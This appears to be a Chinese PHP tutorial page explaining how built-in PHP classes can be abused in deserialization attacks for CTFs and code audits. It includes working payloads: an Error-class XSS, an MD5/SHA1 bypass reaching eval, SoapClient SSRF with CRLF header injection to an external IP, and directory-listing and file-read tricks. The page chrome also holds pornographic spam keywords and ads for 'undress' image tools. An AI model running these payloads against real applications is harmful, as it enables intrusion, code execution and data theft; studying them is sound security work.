国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

目錄
淺析php反序列化原生類(lèi)別的利用
一、常見(jiàn)魔術(shù)方法
二、原生類(lèi)別中的魔術(shù)方法
三、一些常見(jiàn)原生類(lèi)別的利用
Error/Exception
XSS
#hash繞過(guò)
DirectoryIterator/FilesystemIterator
目錄遍歷
SplFileObject
文件讀取
SimpleXMLElement
XXE
ReflectionMethod
獲取注釋內(nèi)容
首頁(yè) 後端開(kāi)發(fā) php教程 深入了解PHP反序列化原生類(lèi)

深入了解PHP反序列化原生類(lèi)

May 17, 2022 am 11:56 AM
php

本篇文章為大家?guī)?lái)了關(guān)於PHP的相關(guān)知識(shí),其中主要介紹了關(guān)於反序列化原生類(lèi)別的利用,如果在程式碼審計(jì)或ctf中,有反序列化的功能點(diǎn),但是卻不能構(gòu)造出完整的pop鏈,那這時(shí)我們?cè)撊绾纹凭帜?,下面一起?lái)看一下,希望對(duì)大家有幫助。

深入了解PHP反序列化原生類(lèi)

推薦學(xué)習(xí):《PHP影片教學(xué)

淺析php反序列化原生類(lèi)別的利用

如果在程式碼審計(jì)或ctf中,有反序列化的功能點(diǎn),但是卻不能構(gòu)造出完整的pop鏈,那這時(shí)我們?cè)撊绾纹凭帜兀课覀兛梢試L試從php原生類(lèi)別下手,php有些原生類(lèi)別中內(nèi)建一些魔術(shù)方法,如果我們巧妙建構(gòu)可控參數(shù),觸發(fā)並利用其內(nèi)建魔術(shù)方法,就有可能達(dá)到一些我們想要的目的。

一、常見(jiàn)魔術(shù)方法

__wakeup()?//執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
__sleep()?//執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
__destruct()?//對(duì)象被銷(xiāo)毀時(shí)觸發(fā)
__call()?//在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic()?//在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get()?//用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)或者不存在這個(gè)鍵都會(huì)調(diào)用此方法
__set()?//用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性
__isset()?//在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()?//在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__toString()?//把對(duì)象當(dāng)作字符串使用時(shí)觸發(fā)
__invoke()?//當(dāng)嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

二、原生類(lèi)別中的魔術(shù)方法

我們採(cǎi)用下面腳本遍歷一下所有原生類(lèi)別中的魔術(shù)方法

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}

三、一些常見(jiàn)原生類(lèi)別的利用

Error/Exception

Error是所有PHP內(nèi)部錯(cuò)誤類(lèi)別的基底類(lèi)別。 (PHP 7, 8)

**Error::__toString ** error 的字串表達(dá)

傳回 Error 的 string表達(dá)形式。

Exception是所有使用者層級(jí)例外的基底類(lèi)別。 (PHP 5, 7, 8)

**Exception::__toString ** 將例外物件轉(zhuǎn)換為字串

回傳轉(zhuǎn)換為字串(string)類(lèi)型的例外。

類(lèi)別屬性

  • message 錯(cuò)誤訊息內(nèi)容

  • code 錯(cuò)誤代碼

  • file 拋出錯(cuò)誤的檔名

  • line 拋出錯(cuò)誤的行數(shù)

XSS

__toString方法會(huì)傳回錯(cuò)誤或例外的字串形式,其中包含我們輸入的參數(shù),如果我們建構(gòu)一串xss程式碼,結(jié)合echo渲染,將觸發(fā)反射形xss漏洞

範(fàn)例:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

POC:

<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);

深入了解PHP反序列化原生類(lèi)

#hash繞過(guò)
##先看一題

[2020 極客大挑戰(zhàn)]Greatphp

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
???????????if(!preg_match("/\syc,?$match)){
???????????????eval($this->syc);
???????????}?else?{
???????????????die("Try?Hard?!!");
???????????}

????????}
????}}if?(isset($_GET['great'])){
????unserialize($_GET['great']);}?else?{
????highlight_file(__FILE__);}
#需要繞過(guò)兩個(gè)hash強(qiáng)比較,且最終需要建構(gòu)eval程式碼執(zhí)行

##顯然正常方法是行不通的,而透過(guò)原生類(lèi)別可進(jìn)行繞過(guò)

同樣,當(dāng)md5()和sha1()函數(shù)處理物件時(shí),會(huì)自動(dòng)呼叫__tostring方法

先簡(jiǎn)單看一下其輸出

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo?$b."<br>";
echo?$c."<br>";
echo?$d;

深入了解PHP反序列化原生類(lèi)可以發(fā)現(xiàn),這兩個(gè)原生類(lèi)別回傳的資訊除了行號(hào)一模一樣,利用這點(diǎn),我們可以嘗試進(jìn)行hash函數(shù)的繞過(guò),需要注意的是,必須將兩個(gè)傳入的物件放到同一行

因此我們可以進(jìn)行簡(jiǎn)單的測(cè)試,發(fā)現(xiàn)使用此方法可以繞過(guò)hash強(qiáng)(弱)函數(shù)比較

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}

深入了解PHP反序列化原生類(lèi)根據(jù)這些知識(shí)點(diǎn),我們可以輕鬆建構(gòu)payload

??<?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
		???if(!preg_match("/\syc,?$match)){
			???eval($this->syc);
		???}?else?{
			???die("Try?Hard?!!");
		???}
		???
		}
	}}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過(guò)正則$a=new?Error($str,1);
	$b=new?Error($str,2);
	$c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b;
	echo(urlencode(serialize($c)));?>

SoapClient

SoapClient

是一個(gè)專(zhuān)門(mén)用來(lái)存取web服務(wù)的類(lèi),可以提供一個(gè)基於SOAP協(xié)定存取Web服務(wù)的PHP 用戶端,可以建立soap資料封包,與wsdl介面進(jìn)行互動(dòng)soap擴(kuò)充模組預(yù)設(shè)關(guān)閉,使用時(shí)需手動(dòng)開(kāi)啟

#SoapClient::__call

—呼叫SOAP 函數(shù)(PHP 5, 7, 8)通常,SOAP 函數(shù)可以作為SoapClient物件的方法呼叫

#SSRF
建構(gòu)子:
public?SoapClient?::?SoapClient(mixed?$wsdl?[,array?$options?])
第一個(gè)參數(shù)是用來(lái)指明是否是wsdl模式,如果為`null`,那就是非wsdl模式。
第二個(gè)參數(shù)為一個(gè)數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項(xiàng),其中l(wèi)ocation是要將請(qǐng)求發(fā)送到的SOAP服務(wù)器的URL,而uri?是SOAP服務(wù)的目標(biāo)命名空間。

什麼是soap

SOAP?是基于?XML?的簡(jiǎn)易協(xié)議,是用在分散或分布的環(huán)境中交換信息的簡(jiǎn)單的協(xié)議,可使應(yīng)用程序在?HTTP?之上進(jìn)行信息交換
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL?用來(lái)描述如何訪問(wèn)具體的接口,?UDDI用來(lái)管理,分發(fā),查詢webService?,SOAP(簡(jiǎn)單對(duì)象訪問(wèn)協(xié)議)是連接或Web服務(wù)或客戶端和Web服務(wù)之間的接口。
其采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。

我們建構(gòu)一個(gè)利用payload,第一個(gè)參數(shù)為NULL,第二個(gè)參數(shù)的location設(shè)定為vps位址

<?php $a = new SoapClient(null, array(
&#39;location&#39; =>?'http://47.102.146.95:2333',?
'uri'?=>'uri',
'user_agent'=>'111111'));
$b?=?serialize($a);
echo?$b;
$c?=?unserialize($b);
$c->a();

監(jiān)聽(tīng)vps的2333端口,如下圖所示成功觸發(fā)SSRF,vps收到了請(qǐng)求訊息

且可以看到SOAPAction和user_agent都可控

深入了解PHP反序列化原生類(lèi)#本地測(cè)試時(shí)發(fā)現(xiàn),當(dāng)使用此內(nèi)建類(lèi)別(即soap協(xié)定)請(qǐng)求存在服務(wù)的連接埠時(shí),會(huì)立即報(bào)錯(cuò),而去存取不存在服務(wù)(未佔(zhàn)用)的連接埠時(shí),會(huì)等待一段時(shí)間報(bào)錯(cuò),可以以此進(jìn)行內(nèi)網(wǎng)資產(chǎn)的偵測(cè)。

如果配合CRLF漏洞,還可以透過(guò) SoapClient 來(lái)控制其他參數(shù)或post傳送資料。例如:HTTP協(xié)定去攻擊Redis

CRLF知識(shí)擴(kuò)充

HTTP報(bào)文的結(jié)構(gòu):狀態(tài)行和首部中的每行以CRLF結(jié)束,首部與主體之間由一空行分隔。
CRLF注入漏洞,是因?yàn)閃eb應(yīng)用沒(méi)有對(duì)用戶輸入做嚴(yán)格驗(yàn)證,導(dǎo)致攻擊者可以輸入一些惡意字符。
攻擊者一旦向請(qǐng)求行或首部中的字段注入惡意的CRLF(\r\n),就能注入一些首部字段或報(bào)文主體,并在響應(yīng)中輸出。

透過(guò)結(jié)合CRLF,我們利用SoapClient CRLF便可以乾更多的事情,例如插入自訂Cookie,

<?php $a = new SoapClient(null, array(
    &#39;location&#39; =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nCookie:?PHPSESSION=dasdasd564d6as4d6a"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();

發(fā)送POST的數(shù)據(jù)包,這里需要將Content-Type設(shè)置為application/x-www-form-urlencoded,我們可以通過(guò)添加兩個(gè)\r\n來(lái)將原來(lái)的Content-Type擠下去,自定義一個(gè)新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();

深入了解PHP反序列化原生類(lèi)

看一道ctfshow上的題,完美利用上述知識(shí)點(diǎn)

$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip?=?array_pop($xff);?//獲取xff頭


if($ip!=='127.0.0.1'){
????die('error');
}else{
????$token?=?$_POST['token'];
????if($token=='ctfshow'){
????????file_put_contents('flag.txt',$flag);
????}
}

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf"));
$a?=?serialize($b);
$a?=?str_replace('^^',"\r\n",$a);
echo?urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator類(lèi)提供了一個(gè)簡(jiǎn)單的接口來(lái)查看文件系統(tǒng)目錄的內(nèi)容。

DirectoryIterator::__toString 獲取字符串形式的文件名 (PHP 5,7,8)

目錄遍歷

使用此內(nèi)置類(lèi)的__toString方法結(jié)合glob或file協(xié)議,即可實(shí)現(xiàn)目錄遍歷

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

FilesystemIterator繼承于DirectoryIterator,兩者作用和用法基本相同,區(qū)別為FilesystemIterator會(huì)顯示文件的完整路徑,而DirectoryIterator只顯示文件名

深入了解PHP反序列化原生類(lèi)

因?yàn)榭梢耘浜鲜褂胓lob偽協(xié)議(查找匹配的文件路徑模式),所以可以繞過(guò)open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny來(lái)禁止一些類(lèi)的反序列化,很不幸的是這兩個(gè)原生類(lèi)都在禁止名單當(dāng)中

SplFileObject

SplFileObject 類(lèi)為單個(gè)文件的信息提供了一個(gè)面向?qū)ο蟮母呒?jí)接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件讀取

SplFileObject::__toString — 以字符串形式返回文件的路徑

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/

如果沒(méi)有遍歷的話只能讀取第一行,且受到open_basedir影響

SimpleXMLElement

解析XML 文檔中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 創(chuàng)建一個(gè)新的 SimpleXMLElement 對(duì)象

XXE

我們查看一下其參數(shù):

深入了解PHP反序列化原生類(lèi)

根據(jù)官方文檔,發(fā)現(xiàn)當(dāng)?shù)谌齻€(gè)參數(shù)為T(mén)rue時(shí),即可實(shí)現(xiàn)遠(yuǎn)程xml文件載入,第二個(gè)參數(shù)的常量值設(shè)置為2即可。

利用可參考賽題:[SUCTF 2018]Homework

ReflectionMethod

獲取注釋內(nèi)容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 獲取注釋內(nèi)容
由該原生類(lèi)中的getDocComment方法可以訪問(wèn)到注釋的內(nèi)容

深入了解PHP反序列化原生類(lèi)

同時(shí)可利用的原生類(lèi)還有ZipArchive– 刪除文件等等,不在敘述

推薦學(xué)習(xí):《PHP視頻教程

以上是深入了解PHP反序列化原生類(lèi)的詳細(xì)內(nèi)容。更多資訊請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本網(wǎng)站聲明
本文內(nèi)容由網(wǎng)友自願(yuàn)投稿,版權(quán)歸原作者所有。本站不承擔(dān)相應(yīng)的法律責(zé)任。如發(fā)現(xiàn)涉嫌抄襲或侵權(quán)的內(nèi)容,請(qǐng)聯(lián)絡(luò)admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅(qū)動(dòng)的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強(qiáng)大的PHP整合開(kāi)發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺(jué)化網(wǎng)頁(yè)開(kāi)發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)程式碼編輯軟體(SublimeText3)

熱門(mén)話題

如何在PHP中獲取當(dāng)前的會(huì)話ID? 如何在PHP中獲取當(dāng)前的會(huì)話ID? Jul 13, 2025 am 03:02 AM

在PHP中獲取當(dāng)前會(huì)話ID的方法是使用session_id()函數(shù),但必須先調(diào)用session_start()才能成功獲取。 1.調(diào)用session_start()啟動(dòng)會(huì)話;2.使用session_id()讀取會(huì)話ID,輸出類(lèi)似abc123def456ghi789的字符串;3.若返回為空,檢查是否遺漏session_start()、用戶是否首次訪問(wèn)或會(huì)話是否被銷(xiāo)毀;4.會(huì)話ID可用於日誌記錄、安全驗(yàn)證和跨請(qǐng)求通信,但需注意安全性。確保正確開(kāi)啟會(huì)話後即可順利獲取ID。

php從字符串獲取子字符串 php從字符串獲取子字符串 Jul 13, 2025 am 02:59 AM

要從PHP字符串中提取子字符串,可使用substr()函數(shù),其語(yǔ)法為substr(string$string,int$start,?int$length=null),若未指定長(zhǎng)度則截取至末尾;處理多字節(jié)字符如中文時(shí)應(yīng)使用mb_substr()函數(shù)以避免亂碼;若需根據(jù)特定分隔符截取字符串,可使用explode()或結(jié)合strpos()與substr()實(shí)現(xiàn),例如提取文件名擴(kuò)展名或域名。

您如何執(zhí)行PHP代碼的單元測(cè)試? 您如何執(zhí)行PHP代碼的單元測(cè)試? Jul 13, 2025 am 02:54 AM

UnittestinginPHPinvolvesverifyingindividualcodeunitslikefunctionsormethodstocatchbugsearlyandensurereliablerefactoring.1)SetupPHPUnitviaComposer,createatestdirectory,andconfigureautoloadandphpunit.xml.2)Writetestcasesfollowingthearrange-act-assertpat

如何將字符串分為PHP中的數(shù)組 如何將字符串分為PHP中的數(shù)組 Jul 13, 2025 am 02:59 AM

在PHP中,最常用的方法是使用explode()函數(shù)將字符串拆分為數(shù)組。該函數(shù)通過(guò)指定的分隔符將字符串分割成多個(gè)部分並返回?cái)?shù)組,語(yǔ)法為explode(separator,string,limit),其中separator為分隔符,string為原字符串,limit為可選參數(shù)控制最大分割數(shù)量。例如$str="apple,banana,orange";$arr=explode(",",$str);結(jié)果為["apple","bana

JavaScript數(shù)據(jù)類(lèi)型:原始與參考 JavaScript數(shù)據(jù)類(lèi)型:原始與參考 Jul 13, 2025 am 02:43 AM

JavaScript的數(shù)據(jù)類(lèi)型分為原始類(lèi)型和引用類(lèi)型。原始類(lèi)型包括string、number、boolean、null、undefined和symbol,其值不可變且賦值時(shí)復(fù)制副本,因此互不影響;引用類(lèi)型如對(duì)象、數(shù)組和函數(shù)存儲(chǔ)的是內(nèi)存地址,指向同一對(duì)象的變量會(huì)相互影響。判斷類(lèi)型可用typeof和instanceof,但需注意typeofnull的歷史問(wèn)題。理解這兩類(lèi)差異有助於編寫(xiě)更穩(wěn)定可靠的代碼。

在C中使用std :: Chrono 在C中使用std :: Chrono Jul 15, 2025 am 01:30 AM

std::chrono在C 中用於處理時(shí)間,包括獲取當(dāng)前時(shí)間、測(cè)量執(zhí)行時(shí)間、操作時(shí)間點(diǎn)與持續(xù)時(shí)間及格式化解析時(shí)間。 1.獲取當(dāng)前時(shí)間使用std::chrono::system_clock::now(),可轉(zhuǎn)換為可讀字符串但係統(tǒng)時(shí)鐘可能不單調(diào);2.測(cè)量執(zhí)行時(shí)間應(yīng)使用std::chrono::steady_clock以確保單調(diào)性,並通過(guò)duration_cast轉(zhuǎn)換為毫秒、秒等單位;3.時(shí)間點(diǎn)(time_point)和持續(xù)時(shí)間(duration)可相互操作,但需注意單位兼容性和時(shí)鐘紀(jì)元(epoch)

如何將會(huì)話變量傳遞給PHP中的另一頁(yè)? 如何將會(huì)話變量傳遞給PHP中的另一頁(yè)? Jul 13, 2025 am 02:39 AM

在PHP中,要將一個(gè)會(huì)話變量傳到另一個(gè)頁(yè)面,關(guān)鍵在於正確開(kāi)啟會(huì)話並使用相同的$_SESSION鍵名。 1.每個(gè)頁(yè)面使用session變量前必須調(diào)用session_start(),且放在腳本最前面;2.在第一個(gè)頁(yè)面設(shè)置session變量如$_SESSION['username']='JohnDoe';3.在另一頁(yè)面同樣調(diào)用session_start()後通過(guò)相同鍵名訪問(wèn)變量;4.確保每個(gè)頁(yè)面都調(diào)用session_start()、避免提前輸出內(nèi)容、檢查服務(wù)器上session存儲(chǔ)路徑可寫(xiě);5.使用ses

PHP如何處理環(huán)境變量? PHP如何處理環(huán)境變量? Jul 14, 2025 am 03:01 AM

toAccessenvironmentVariablesInphp,useGetenv()或$ _envsuperglobal.1.getEnv('var_name')retievesSpecificvariable.2。 $ _ en v ['var_name'] accessesvariablesifvariables_orderInphp.iniincludes“ e” .setVariablesViaCliWithvar = vualitephpscript.php,inapach

See all articles